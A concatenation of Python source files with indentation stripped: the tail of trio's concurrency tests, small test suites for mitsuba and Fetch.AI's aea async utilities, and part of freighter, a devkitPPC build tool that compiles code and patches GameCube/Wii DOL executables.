with _core.CancelScope() as cs:
cs.cancel()
with pytest.raises(_core.Cancelled):
await nursery.start(just_started)
# and if after the no-op started(), the child crashes, the error comes out
# of start()
async def raise_keyerror_after_started(
task_status=_core.TASK_STATUS_IGNORED
):
task_status.started()
raise KeyError("whoopsiedaisy")
async with _core.open_nursery() as nursery:
with _core.CancelScope() as cs:
cs.cancel()
with pytest.raises(_core.MultiError) as excinfo:
await nursery.start(raise_keyerror_after_started)
assert set(type(e) for e in excinfo.value.exceptions) == {
_core.Cancelled, KeyError
}
# trying to start in a closed nursery raises an error immediately
async with _core.open_nursery() as closed_nursery:
pass
t0 = _core.current_time()
with pytest.raises(RuntimeError):
await closed_nursery.start(sleep_then_start, 7)
assert _core.current_time() == t0
async def test_task_nursery_stack():
task = _core.current_task()
assert task._child_nurseries == []
async with _core.open_nursery() as nursery1:
assert task._child_nurseries == [nursery1]
with pytest.raises(KeyError):
async with _core.open_nursery() as nursery2:
assert task._child_nurseries == [nursery1, nursery2]
raise KeyError
assert task._child_nurseries == [nursery1]
assert task._child_nurseries == []
async def test_nursery_start_with_cancelled_nursery():
# This function isn't testing task_status, it's using task_status as a
# convenient way to get a nursery that we can test spawning stuff into.
async def setup_nursery(task_status=_core.TASK_STATUS_IGNORED):
async with _core.open_nursery() as nursery:
task_status.started(nursery)
await sleep_forever()
# Calls started() while children are asleep, so we can make sure
# that the cancellation machinery notices and aborts when a sleeping task
# is moved into a cancelled scope.
async def sleeping_children(fn, *, task_status=_core.TASK_STATUS_IGNORED):
async with _core.open_nursery() as nursery:
nursery.start_soon(sleep_forever)
nursery.start_soon(sleep_forever)
await wait_all_tasks_blocked()
fn()
task_status.started()
# Cancelling the setup_nursery just *before* calling started()
async with _core.open_nursery() as nursery:
target_nursery = await nursery.start(setup_nursery)
await target_nursery.start(
sleeping_children, target_nursery.cancel_scope.cancel
)
# Cancelling the setup_nursery just *after* calling started()
async with _core.open_nursery() as nursery:
target_nursery = await nursery.start(setup_nursery)
await target_nursery.start(sleeping_children, lambda: None)
target_nursery.cancel_scope.cancel()
async def test_nursery_start_keeps_nursery_open(autojump_clock):
async def sleep_a_bit(task_status=_core.TASK_STATUS_IGNORED):
await sleep(2)
task_status.started()
await sleep(3)
async with _core.open_nursery() as nursery1:
t0 = _core.current_time()
async with _core.open_nursery() as nursery2:
# Start the 'start' call running in the background
nursery1.start_soon(nursery2.start, sleep_a_bit)
# Sleep a bit
await sleep(1)
# Start another one.
nursery1.start_soon(nursery2.start, sleep_a_bit)
# Then exit this nursery. At this point, there are no tasks
# present in this nursery -- the only thing keeping it open is
# that the tasks will be placed into it soon, when they call
# started().
assert _core.current_time() - t0 == 6
# Check that it still works even if the task that the nursery is waiting
# for ends up crashing, and never actually enters the nursery.
async def sleep_then_crash(task_status=_core.TASK_STATUS_IGNORED):
await sleep(7)
raise KeyError
async def start_sleep_then_crash(nursery):
with pytest.raises(KeyError):
await nursery.start(sleep_then_crash)
async with _core.open_nursery() as nursery1:
t0 = _core.current_time()
async with _core.open_nursery() as nursery2:
nursery1.start_soon(start_sleep_then_crash, nursery2)
await wait_all_tasks_blocked()
assert _core.current_time() - t0 == 7
async def test_nursery_explicit_exception():
with pytest.raises(KeyError):
async with _core.open_nursery():
raise KeyError()
async def test_nursery_stop_iteration():
async def fail():
raise ValueError
try:
async with _core.open_nursery() as nursery:
nursery.start_soon(fail)
raise StopIteration
except _core.MultiError as e:
assert tuple(map(type, e.exceptions)) == (StopIteration, ValueError)
async def test_nursery_stop_async_iteration():
class it(object):
def __init__(self, count):
self.count = count
self.val = 0
async def __anext__(self):
await sleep(0)
val = self.val
if val >= self.count:
raise StopAsyncIteration
self.val += 1
return val
class async_zip(object):
def __init__(self, *largs):
self.nexts = [obj.__anext__ for obj in largs]
async def _accumulate(self, f, items, i):
items[i] = await f()
@aiter_compat
def __aiter__(self):
return self
async def __anext__(self):
nexts = self.nexts
items = [
None,
] * len(nexts)
got_stop = False
def handle(exc):
nonlocal got_stop
if isinstance(exc, StopAsyncIteration):
got_stop = True
return None
else: # pragma: no cover
return exc
with _core.MultiError.catch(handle):
async with _core.open_nursery() as nursery:
for i, f in enumerate(nexts):
nursery.start_soon(self._accumulate, f, items, i)
if got_stop:
raise StopAsyncIteration
return items
result = []
async for vals in async_zip(it(4), it(2)):
result.append(vals)
assert result == [[0, 0], [1, 1]]
async def test_traceback_frame_removal():
async def my_child_task():
raise KeyError()
try:
# Trick: For now cancel/nursery scopes still leave a bunch of tb gunk
# behind. But if there's a MultiError, they leave it on the MultiError,
# which lets us get a clean look at the KeyError itself. Someday I
# guess this will always be a MultiError (#611), but for now we can
# force it by raising two exceptions.
async with _core.open_nursery() as nursery:
nursery.start_soon(my_child_task)
nursery.start_soon(my_child_task)
except _core.MultiError as exc:
first_exc = exc.exceptions[0]
assert isinstance(first_exc, KeyError)
# The top frame in the exception traceback should be inside the child
# task, not trio/contextvars internals. And there's only one frame
# inside the child task, so this will also detect if our frame-removal
# is too eager.
frame = first_exc.__traceback__.tb_frame
assert frame.f_code is my_child_task.__code__
def test_contextvar_support():
var = contextvars.ContextVar("test")
var.set("before")
assert var.get() == "before"
async def inner():
task = _core.current_task()
assert task.context.get(var) == "before"
assert var.get() == "before"
var.set("after")
assert var.get() == "after"
assert var in task.context
assert task.context.get(var) == "after"
_core.run(inner)
assert var.get() == "before"
async def test_contextvar_multitask():
var = contextvars.ContextVar("test", default="hmmm")
async def t1():
assert var.get() == "hmmm"
var.set("hmmmm")
assert var.get() == "hmmmm"
async def t2():
assert var.get() == "hmmmm"
async with _core.open_nursery() as n:
n.start_soon(t1)
await wait_all_tasks_blocked()
assert var.get() == "hmmm"
var.set("hmmmm")
n.start_soon(t2)
await wait_all_tasks_blocked()
def test_system_task_contexts():
cvar = contextvars.ContextVar('qwilfish')
cvar.set("water")
async def system_task():
assert cvar.get() == "water"
async def regular_task():
assert cvar.get() == "poison"
async def inner():
async with _core.open_nursery() as nursery:
cvar.set("poison")
nursery.start_soon(regular_task)
_core.spawn_system_task(system_task)
await wait_all_tasks_blocked()
_core.run(inner)
def test_Cancelled_init():
check_Cancelled_error = pytest.raises(
TypeError, match='no public constructor available'
)
with check_Cancelled_error:
raise _core.Cancelled
with check_Cancelled_error:
_core.Cancelled()
# private constructor should not raise
_core.Cancelled._create()
def test_Cancelled_str():
cancelled = _core.Cancelled._create()
assert str(cancelled) == 'Cancelled'
def test_Cancelled_subclass():
with pytest.raises(
TypeError, match='`Cancelled` does not support subclassing'
):
class Subclass(_core.Cancelled):
pass
def test_CancelScope_subclass():
with pytest.raises(
TypeError, match='`CancelScope` does not support subclassing'
):
class Subclass(_core.CancelScope):
pass
def test_sniffio_integration():
with pytest.raises(sniffio.AsyncLibraryNotFoundError):
sniffio.current_async_library()
async def check_inside_trio():
assert sniffio.current_async_library() == "trio"
_core.run(check_inside_trio)
with pytest.raises(sniffio.AsyncLibraryNotFoundError):
sniffio.current_async_library()
async def test_Task_custom_sleep_data():
task = _core.current_task()
assert task.custom_sleep_data is None
task.custom_sleep_data = 1
assert task.custom_sleep_data == 1
await _core.checkpoint()
assert task.custom_sleep_data is None
@types.coroutine
def async_yield(value):
yield value
async def test_permanently_detach_coroutine_object():
task = None
pdco_outcome = None
async def detachable_coroutine(task_outcome, yield_value):
await sleep(0)
nonlocal task, pdco_outcome
task = _core.current_task()
pdco_outcome = await outcome.acapture(
_core.permanently_detach_coroutine_object, task_outcome
)
await async_yield(yield_value)
async with _core.open_nursery() as nursery:
nursery.start_soon(
detachable_coroutine, outcome.Value(None), "I'm free!"
)
# If we get here then Trio thinks the task has exited... but the coroutine
# is still iterable
assert pdco_outcome is None
assert task.coro.send("be free!") == "I'm free!"
assert pdco_outcome == outcome.Value("be free!")
with pytest.raises(StopIteration):
task.coro.send(None)
# Check the exception paths too
task = None
pdco_outcome = None
with pytest.raises(KeyError):
async with _core.open_nursery() as nursery:
nursery.start_soon(
detachable_coroutine, outcome.Error(KeyError()), "uh oh"
)
throw_in = ValueError()
assert task.coro.throw(throw_in) == "uh oh"
assert pdco_outcome == outcome.Error(throw_in)
with pytest.raises(StopIteration):
task.coro.send(None)
async def bad_detach():
async with _core.open_nursery():
with pytest.raises(RuntimeError) as excinfo:
await _core.permanently_detach_coroutine_object(
outcome.Value(None)
)
assert "open nurser" in str(excinfo.value)
async with _core.open_nursery() as nursery:
nursery.start_soon(bad_detach)
async def test_detach_and_reattach_coroutine_object():
unrelated_task = None
task = None
async def unrelated_coroutine():
nonlocal unrelated_task
unrelated_task = _core.current_task()
async def reattachable_coroutine():
await sleep(0)
nonlocal task
task = _core.current_task()
def abort_fn(_): # pragma: no cover
return _core.Abort.FAILED
got = await _core.temporarily_detach_coroutine_object(abort_fn)
assert got == "not trio!"
await async_yield(1)
await async_yield(2)
with pytest.raises(RuntimeError) as excinfo:
await _core.reattach_detached_coroutine_object(
unrelated_task, None
)
assert "does not match" in str(excinfo.value)
await _core.reattach_detached_coroutine_object(task, "byebye")
await sleep(0)
async with _core.open_nursery() as nursery:
nursery.start_soon(unrelated_coroutine)
nursery.start_soon(reattachable_coroutine)
await wait_all_tasks_blocked()
assert unrelated_task is not None
assert task is not None
# Okay, it's detached. Here's our coroutine runner:
assert task.coro.send("not trio!") == 1
assert task.coro.send(None) == 2
assert task.coro.send(None) == "byebye"
# Now it's been reattached, and we can leave the nursery
async def test_detached_coroutine_cancellation():
abort_fn_called = False
task = None
async def reattachable_coroutine():
await sleep(0)
nonlocal task
task = _core.current_task()
def abort_fn(_):
nonlocal abort_fn_called
abort_fn_called = True
return _core.Abort.FAILED
await _core.temporarily_detach_coroutine_object(abort_fn)
await _core.reattach_detached_coroutine_object(task, None)
with pytest.raises(_core.Cancelled):
await sleep(0)
async with _core.open_nursery() as nursery:
nursery.start_soon(reattachable_coroutine)
await wait_all_tasks_blocked()
assert task is not None
nursery.cancel_scope.cancel()
task.coro.send(None)
assert abort_fn_called
|
test_atomic.py | from threading import Thread
import pytest
import mitsuba
def test01_add(variant_scalar_rgb):
from mitsuba.core import AtomicFloat
f = AtomicFloat(5)
threads = []
def increment(f):
for i in range(10):
f += 1
for j in range(0, 10):
threads.append(Thread(target=increment, args=(f,)))
for t in threads:
t.start()
for t in threads:
t.join()
assert float(f) == 105
|
test_async_utils.py | # -*- coding: utf-8 -*-
# ------------------------------------------------------------------------------
#
# Copyright 2018-2019 Fetch.AI Limited
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# ------------------------------------------------------------------------------
"""This module contains the tests for AsyncFriendlyQueue."""
import asyncio
import time
from concurrent.futures._base import CancelledError
from contextlib import suppress
from threading import Thread
import pytest
from aea.helpers.async_utils import (
AsyncState,
PeriodicCaller,
Runnable,
ThreadedAsyncRunner,
ensure_list,
)
def test_enusre_list() -> None:
"""Test AsyncFriendlyQueue in one thread environment."""
list1 = [1, 2, 3]
assert ensure_list(list1) is list1
assert ensure_list(1) == [1]
assert ensure_list(map(lambda x: x, list1)) == list1
@pytest.mark.asyncio
async def test_async_state():
"""Test various cases for AsyncState."""
loop = asyncio.get_event_loop()
state = AsyncState()
# check set/get
value = 1
state.set(value)
assert state.get() == value
# check set/get with state property
value = 3
state.state = 3
assert state.state == value
# check wait/set
loop.call_soon(state.set, 2)
await state.wait(2)
# state is already set
await state.wait(2)
@pytest.mark.asyncio
async def test_async_state_transit():
"""Test async state transit contextmanager."""
state = AsyncState()
state.set(None)
with state.transit(initial=1, success=2, fail=3):
assert state.get() == 1
assert state.get() == 2
state.set(None)
with suppress(ValueError):
with state.transit(initial=1, success=2, fail=3):
assert state.get() == 1
raise ValueError()
assert state.get() == 3
@pytest.mark.asyncio
async def test_asyncstate_with_list_of_valid_states():
"""Test various cases for AsyncState."""
states = [1, 2, 3]
state = AsyncState(1, states)
state.set(2)
assert state.get() == 2
with pytest.raises(ValueError):
state.set("anything")
assert state.get() == 2
@pytest.mark.asyncio
async def test_asyncstate_callback():
"""Test various cases for AsyncState.callback."""
state = AsyncState()
called = False
def callback_err(state):
raise Exception("expected")
def callback(state):
nonlocal called
called = True
state.add_callback(callback_err)
state.add_callback(callback)
state.set(2)
assert state.get() == 2
assert called
@pytest.mark.asyncio
async def test_periodic_caller_start_stop():
"""Test start stop calls for PeriodicCaller."""
called = 0
def callback():
nonlocal called
called += 1
periodic_caller = PeriodicCaller(callback, period=0.1)
periodic_caller.start()
await asyncio.sleep(0.15)
assert called >= 1
periodic_caller.stop()
old_called = called
await asyncio.sleep(0.15)
assert old_called == called
@pytest.mark.asyncio
async def test_periodic_caller_exception():
"""Test exception raises for PeriodicCaller."""
exception_called = False
def exception_callback(*args, **kwargs):
nonlocal exception_called
exception_called = True
def callback():
raise Exception("expected")
periodic_caller = PeriodicCaller(
callback, period=0.1, exception_callback=exception_callback
)
periodic_caller.start()
await asyncio.sleep(0.15)
assert exception_called
periodic_caller.stop()
@pytest.mark.asyncio
async def test_threaded_async_run():
"""Test threaded async runner."""
runner = ThreadedAsyncRunner()
runner.start()
async def fn():
return "ok"
assert runner.call(fn()).result() == "ok"
runner.stop()
@pytest.mark.asyncio
async def test_threaded_async_run_cancel_task():
"""Test threaded async runner tasks cancelled."""
runner = ThreadedAsyncRunner()
runner.start()
async def fn():
await asyncio.sleep(1)
task = runner.call(fn())
await asyncio.sleep(0.1)
task.cancel()
await asyncio.sleep(0.1)
with pytest.raises(CancelledError):
task.result()
assert task.done()
# cancel before start
task = runner.call(fn())
task.cancel()
with pytest.raises(CancelledError):
task.result()
assert task.done()
class RunAndExit(Runnable):
"""Test class."""
async def run(self):
"""Test method."""
await asyncio.sleep(0.2)
class TestRunnable:
"""Tests for Runnable object."""
def test_no_loop_and_threded(self):
"""Test runnable fails on threaded mode and loop provided.."""
with pytest.raises(ValueError,):
RunAndExit(loop=asyncio.get_event_loop(), threaded=True)
def test_task_cancel_not_set(self):
"""Test task cancel."""
class TestRun(Runnable):
async def run(self):
while True:
await asyncio.sleep(1)
run = TestRun()
run._task_cancel()
@pytest.mark.asyncio
async def test_runnable_async(self):
"""Test runnable async methods."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
while True:
await asyncio.sleep(1)
run = TestRun()
run.start()
run.stop()
await run.wait_completed()
run = TestRun(threaded=True)
run.start()
run.stop()
run.wait_completed(sync=True)
run = RunAndExit()
await run.start_and_wait_completed()
def test_runnable_sync(self):
"""Test runnable sync methods."""
run = RunAndExit()
run.start_and_wait_completed(sync=True)
@pytest.mark.asyncio
async def test_double_start(self):
"""Test runnable async methods."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
while True:
await asyncio.sleep(1)
run = TestRun()
await run.wait_completed()
assert run.start()
assert not run.start()
run.stop()
await run.wait_completed()
await run.wait_completed()
@pytest.mark.asyncio
async def test_run_in_thread(self):
"""Test runnable in thread mode."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
while True:
await asyncio.sleep(1)
run = TestRun()
t = Thread(target=run.start_and_wait_completed, kwargs=dict(sync=True))
t.start()
while not run.is_running:
pass
run.stop()
t.join()
@pytest.mark.asyncio
async def test_timeout(self):
"""Test runnable async methods."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
while True:
await asyncio.sleep(1)
run = TestRun(threaded=True)
run.start()
await asyncio.sleep(0.5)
with pytest.raises(asyncio.TimeoutError):
run.wait_completed(sync=True, timeout=1)
run.stop()
run.wait_completed(sync=True)
run = TestRun()
run.start()
with pytest.raises(asyncio.TimeoutError):
await run.wait_completed(timeout=1)
run.stop()
await run.wait_completed()
@pytest.mark.asyncio
async def test_exception(self):
"""Test runnable async methods."""
# for pydocstyle
import time
class TestRun(Runnable):
async def run(self):
raise Exception("awaited")
run = TestRun(threaded=True)
run.start()
time.sleep(0.1)
with pytest.raises(Exception, match="awaited"):
run.wait_completed(sync=True, timeout=1)
run.stop()
run.wait_completed(sync=True)
run = TestRun()
run.start()
with pytest.raises(Exception, match="awaited"):
await run.wait_completed(timeout=1)
run.stop()
await run.wait_completed()
@pytest.mark.asyncio
async def test_wait_async_threaded(self):
"""Test runnable async methods."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
raise Exception("awaited")
run = TestRun(threaded=True)
run.start()
await asyncio.sleep(0.4)
with pytest.raises(Exception, match="awaited"):
await run.wait_completed(timeout=1)
run.stop()
await run.wait_completed()
@pytest.mark.asyncio
async def test_wait_async_threaded_no_exception(self):
"""Test runnable threaded wait completed."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
await asyncio.sleep(0.1)
run = TestRun(threaded=True)
run.start()
await run.wait_completed()
@pytest.mark.asyncio
async def test_double_stop(self):
"""Test runnable double stop."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
await asyncio.sleep(0.1)
run = TestRun()
run.start()
run.stop()
run.stop()
await run.wait_completed()
def test_stop_before_run(self):
"""Test stop before run."""
# for pydocstyle
class TestRun(Runnable):
async def run(self):
await asyncio.sleep(0.1)
run = TestRun()
run.stop()
run.start()
time.sleep(1)
assert not run.is_running
|
devkit_tools.py |
import re
import subprocess
import time
from collections import defaultdict
from glob import glob
from multiprocessing import Process, Queue
from multiprocessing.context import ProcessError
from os import listdir, makedirs, remove, removedirs
from pathlib import Path
from dolreader.dol import DolFile
from dolreader.section import DataSection, Section, TextSection
from elftools.elf.elffile import ELFFile
from geckolibs.gct import GeckoCodeTable, GeckoCommand
from os.path import abspath
from freighter.constants import *
from freighter.hooks import *
def delete_file(filepath: str) -> bool:
try:
remove(filepath)
return True
except FileNotFoundError:
return False
def delete_dir(path: str) -> bool:
try:
for file in glob(path + "*", recursive=True):
delete_file(file)
removedirs(path)
return True
except FileNotFoundError:
return False
def dump_objdump(object_path: str, *args: str, outpath: str = None):
"""Dumps the output from DevKitPPC's powerpc-eabi-objdump.exe to a .txt file"""
args = [OBJDUMP, object_path] + list(args)
if not outpath:
outpath = TEMPDIR + object_path.split("/")[-1] + ".objdump"
with open(outpath, "w") as f:
subprocess.call(args, stdout=f)
return outpath
def dump_nm(object_path: str, *args: str, outpath: str = None):
"""Dumps the output from DevKitPPC's powerpc-eabi-nm.exe to a .txt file"""
args = [NM, object_path] + list(args)
if not outpath:
outpath = TEMPDIR + object_path.split("/")[-1] + ".nm"
with open(outpath, "w") as f:
subprocess.call(args, stdout=f)
return outpath
def dump_readelf(object_path: str, *args: str, outpath: str = None):
"""Dumps the output from DevKitPPC's powerpc-eabi-readelf.exe to a .txt file"""
args = [READELF, object_path] + list(args)
if not outpath:
outpath = TEMPDIR + object_path.split("/")[-1] + ".readelf"
with open(outpath, "w") as f:
subprocess.call(args, stdout=f)
return outpath
class Symbol:
def __init__(self):
self.name = ""
self.demangled_name = ""
self.section = ""
self.address = 0
self.hex_address = 0
self.size = 0
self.is_undefined = True
self.is_weak = False
self.is_function = False
self.is_data = False
self.is_bss = False
self.is_rodata = False
self.is_c_linkage = False
self.is_manually_defined = False
self.is_written_to_ld = False
self.source_file = ""
self.library_file = ""
class Project(object):
def __init__(self, name: str, gameid: str, auto_import = True):
self.gameid = gameid
self.project_name = name
self.inject_address = 0
self.auto_import = auto_import
self.verbose = False
self.sda_base = 0
self.sda2_base = 0
self.entry_function: str = None
self.build_dir = BUILDDIR
self.temp_dir = TEMPDIR
self.dol_inpath: str = None
self.dol_outpath: str = None
self.symbols_paths = list[str]()
self.linkerscripts = list[str]()
self.map_inpath: str = None
if (DOLPHIN_MAPS):
self.map_outpaths = [DOLPHIN_MAPS+gameid+".map"]
else:
self.map_outpaths = [""]
self.common_args = list[str]()
self.gcc_args = list[str]()
self.gpp_args = list[str]()
self.project_objfile = self.temp_dir + self.project_name + ".o"
self.ld_args = list[str]()
self.include_folders = list[str]()
self.source_folders = list[str]()
self.library_folders = "/lib/"
self.ignored_files = list[str]()
self.__get_default_folders()
self.c_files = list[str]()
self.cpp_files = list[str]()
self.asm_files = list[str]()
self.object_files = list[str]()
self.static_libs = list[str]()
self.hooks = list[Hook]()
self.gecko_table = GeckoCodeTable(gameid, name)
self.gecko_meta = []
self.symbols = defaultdict(Symbol)
self.osarena_patcher = None
def __get_default_folders(self) -> list[str]:
if (self.auto_import == False):
return
source_paths = ["source", "src", "code"]
include_paths = ["include", "includes", "headers"]
for folder in glob("*", recursive=True):
if folder in include_paths:
print(
f'{FLGREEN}Automatically added include folder: {FLCYAN}"{folder}"')
self.include_folders.append(folder+"/")
if folder in source_paths:
print(
f'{FLGREEN}Automatically added source folder: {FLCYAN}"{folder}"')
self.source_folders.append(folder+"/")
def compile(self, input: str, output: str, iscpp=False, queue: Queue = None):
args = []
if iscpp:
args = [GPP, "-c"] + self.gpp_args
else:
args = [GCC, "-c"] + self.gcc_args
args += self.common_args
for path in self.include_folders:
args.append("-I" + path)
args.extend([input, "-o", output])
print(f'{COMPILING} "{input}"!')
process = subprocess.Popen(
args, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
_, err = process.communicate()
if process.returncode:
raise ProcessError(
f'\n{ERROR} {FWHITE + input}\n{err.decode("utf-8")}\nFailed to compile source. Fix your code.')
else:
print(f'{SUCCESS} "{input}"{FCYAN}')
if queue:
queue.put(input)
def __link(self):
print(f"{FLCYAN}Linking...{FYELLOW}")
args = [GPP]
for arg in self.ld_args:
args.append("-Wl," + arg)
for file in self.object_files:
args.append(file)
args.extend(self.linkerscripts)
args.extend(["-Wl,-Map", f"{self.temp_dir + self.project_name}.map"])
args.extend(["-o", self.project_objfile])
if self.verbose:
print(f"{FLMAGENTA}{args}")
exit_code = subprocess.call(args)
if exit_code:
raise NameError(f'{ERROR}: failed to link object files"\n')
else:
print(f"{LINKED}{FLMAGENTA} -> {FLCYAN}{self.temp_dir + self.project_name}.o")
def __find_undefined_cpp_symbols(self):
for file in self.object_files:
self.__analyze_nm(dump_nm(file))
def __analyze_nm(self, *files: str):
for file in files:
print(f"{FYELLOW}Analyzing {FLCYAN+file}...")
source_file = file.replace(self.temp_dir, "").rsplit(".", 2)[0]
with open(file, "r") as f:
for line in f.readlines():
if line.startswith(("0", "8")):
line = line[8:]
(type, symbol_name) = line.strip().split(" ")
type = type.lower()
symbol = self.symbols[symbol_name]
symbol.name = symbol_name
if symbol_name.startswith("_Z"):
symbol.demangled_name = self.demangle(symbol_name)
self.symbols[symbol.demangled_name] = symbol
else:
symbol.is_c_linkage = True
symbol.demangled_name = symbol_name
if type == "u":
continue
if type == "t":
symbol.is_function = True
elif type == "v":
symbol.is_weak = True
elif type == "b":
symbol.is_bss = True
elif type == "d":
symbol.is_data = True
elif type == "r":
symbol.is_rodata = True
elif type == "a":
symbol.is_manually_defined = True
symbol.is_undefined = False
if not symbol.source_file:
symbol.source_file = source_file
else: # should implement the source object/static lib better
symbol.library_file = source_file
def __generate_linkerscript(self):
with open(self.temp_dir + self.project_name + "_linkerscript.ld", "w") as f:
f.write("ENTRY(" + self.entry_function + ");\n")
if self.static_libs:
for path in self.library_folders:
f.write(f'SEARCH_DIR("{path}");\n')
group = "GROUP("
for lib in self.static_libs:
group += f'"{lib}",\n\t'
group = group[:-3]
group += ");\n"
f.write(group)
for symbol in self.symbols.values():
if symbol.is_manually_defined and not symbol.is_written_to_ld:
f.write(f"{symbol.name} = {symbol.hex_address};\n")
symbol.is_written_to_ld = True
f.write(f"SECTIONS\n{{\n\t. = 0x{self.inject_address:4x};\n")
f.write("""
.sdata ALIGN(0x20):{*(.sdata*)}
.sbss ALIGN(0x20):{*(.sbss*)}
.sdata2 ALIGN(0x20):{*(.sdata2*)}
.sbss2 ALIGN(0x20):{*(.sbss2*)}
.rodata ALIGN(0x20):{*(.rodata*)}
.data ALIGN(0x20):{*(.data*)}
.bss ALIGN(0x20):{*(.bss*)}
.text ALIGN(0x20): {*(.text*)}
.ctors ALIGN(0x20):{*(.ctors*)}
.dtors ALIGN(0x20):{*(.dtors*)}
}""")
self.add_linkerscript(self.temp_dir + self.project_name + "_linkerscript.ld")
def __analyze_final(self):
print(f"{FYELLOW}Dumping objdump...{FCYAN}")
dump_objdump(self.project_objfile, "-tSr", "-C")
self.__analyze_nm(dump_nm(self.project_objfile))
self.__analyze_readelf(dump_readelf(self.project_objfile, "-a", "--wide", "--debug-dump"))
def __analyze_readelf(self, path: str):
section_map = {}
print(f"{FYELLOW}Analyzing {FLCYAN+path}...")
with open(path, "r") as f:
while " [ 0]" not in f.readline():
pass
id = 1
while not (line := f.readline()).startswith("Key"):
section_map[id] = line[7:].strip().split(" ")[0]
id += 1
while "Num" not in f.readline():
pass
f.readline()
while (line := f.readline()) != "\n":
(num, address, size, type, bind, vis, ndx, *name) = line.split()
if size == "0":
continue
if name[0] in self.symbols:
symbol = self.symbols[name[0]]
symbol.hex_address = "0x" + address
symbol.address = int(address, 16)
symbol.size = int(size)
symbol.library_file = self.project_name + ".o"
if ndx == "ABS":
continue
symbol.section = section_map[int(ndx)]
def __load_symbol_definitions(self):
# Load symbols from a file. Supports recognizing demangled c++ symbols
print(FYELLOW + "Loading manually defined symbols...")
for file in self.symbols_paths:
lines = open(file, "r").readlines()
with open(file + ".cache", "w") as f:
section = "." + file.split("/")[1].split(".")[0]
for line in lines:
line = line.rstrip().partition("//")[0]
if line:
(name, address) = [x.strip()
for x in line.split(" = ")]
if name in self.symbols:
symbol = self.symbols[name]
if symbol.source_file: #skip this symbol because we are overriding it
continue
f.write(line + "\n")
symbol.hex_address = address
symbol.address = int(address, 16)
symbol.is_manually_defined = True
symbol.section = section
# This func looks like booty should clean up later when i feel like it
def get_function_symbol(self, line: str):
if 'extern "C"' in line:
is_c_linkage = True
else: is_c_linkage = False
line = re.sub(".*[\*>] ",'',line) # remove templates
while(line.startswith(('*','&'))): # throw out trailing *'s and &'s
line=line[:1]
line = re.findall("[A-Za-z0-9_:]*\(.*\)", line)[0]
if is_c_linkage:
return re.sub('\(.*\)','',line) # c symbols have no params
if '()' in line:
return line
it = iter(re.findall('(extern "C"|[A-Za-z0-9_]+|[:]+|[<>\(\),*&])', line))
chunks = []
depth = 0
for s in it:
if s in ['const','volatile','unsigned','signed']:
chunks.append(s + ' ') # add space
continue
if s.isalpha():
v = next(it)
if depth and v.isalpha():
chunks.append(s)
continue
else:
chunks.append(s)
s = v
match(s):
case '<':
depth += 1
case '>':
depth -= 1
case ',':
chunks.pop()
chunks.append(', ')
continue
case ')':
chunks.pop()
chunks.append(s)
func = ""
for s in chunks:
func += s
func = func.replace('const char', 'char const') # dumb
return func
def __process_pragmas(self, file_path):
c_linkage = False
with open(file_path, "r", encoding="utf8") as f:
while line := f.readline():
if line.startswith("#pragma hook"):
branch_type, *addresses = line[13:].split(" ")
while True: # skip comments and find the next function declaration
line = f.readline()
if not line:
continue
if line[2:] == "/":
continue
elif "(" in line:
break
func = self.get_function_symbol(line)
match(branch_type):
case "bl":
for address in addresses:
self.hook_branchlink(func, int(address, 16))
case "b":
for address in addresses:
self.hook_branch(func, int(address, 16))
case _:
raise BaseException(
f"\n{ERROR} Wrong branch type given in #pragma hook declaration! {FLBLUE}'{type}'{FLRED} is not supported!")
elif line.startswith("#pragma write"):
address = line[14:].strip()
while True: # skip comments and find the next function declaration
line = f.readline()
if not line:
continue
if line[2:] == "/":
continue
elif "(" in line:
break
func = self.get_function_symbol(line)
self.hook_pointer(func,int(address,16))
def dump_asm(self):
for item in listdir(self.temp_dir):
if item.endswith(".o"):
out = item.split(".")[0] + ".s"
dump_objdump(["-drsz", f"{self.temp_dir + item}"],f"{self.temp_dir + out}")
def __assert_has_all_the_stuff(self):
if self.dol_inpath is None:
print(f"{FYELLOW}[Warning] You didn't specify an input Dol file. Freighter will still attempt to compile it.\n{FWHITE}")
if "-gc-sections" in self.common_args and self.entry_function is None:
raise Exception(f"{FLRED} -gc-sections requires an entry function with C linkage to be set.\n{FWHITE}Use the{FGREEN}set_entry_function{FWHITE} method.")
if self.map_inpath is None:
print(f"{FYELLOW}[Warning] An input CodeWarrior symbol map was not found for C++Kit to process.\n{FWHITE}")
if not self.map_outpaths:
print(
f"{FYELLOW}[Warning] Output path to Dolphin's Maps folder was not found.\n{FWHITE}Use {FGREEN}add_map_output{FWHITE} method.")
def build(self, dol_inpath: str = None, inject_address: int = None, dol_outpath: str = None, verbose=False, clean_up=False):
self.verbose = verbose
self.inject_address = inject_address
self.dol_inpath = dol_inpath
self.__get_source_files()
self.__assert_has_all_the_stuff()
if dol_outpath is None:
dol_outpath = self.build_dir + "sys/main.dol"
dol = DolFile(open(dol_inpath, "rb"))
if self.inject_address == None:
self.inject_address = dol.lastSection.address + dol.lastSection.size
print(f"{FWHITE}Base address auto-set from ROM end: {FLBLUE}{self.inject_address:x}\n" f"{FWHITE}Do not rely on this feature if your DOL uses .sbss2\n")
if self.inject_address % 32:
print("Warning! DOL sections must be 32-byte aligned for OSResetSystem to work properly!\n")
makedirs(self.temp_dir, exist_ok=True)
self.__compile()
self.__find_undefined_cpp_symbols()
self.__load_symbol_definitions()
self.__generate_linkerscript()
self.__link()
self.__process_project()
self.__analyze_final()
self.__save_map()
print(f"{FYELLOW}Begin Patching...")
bin_data = bytearray(
open(self.temp_dir + self.project_name + ".bin", "rb").read())
while (len(bin_data) % 4) != 0:
bin_data += b"\x00"
print(f"\n{FGREEN}[{FLGREEN}Gecko Codes{FGREEN}]")
for gecko_code in self.gecko_table:
status = f"{FLGREEN}ENABLED {FLBLUE}" if gecko_code.is_enabled() else f"{FLRED}DISABLED{FLYELLOW}"
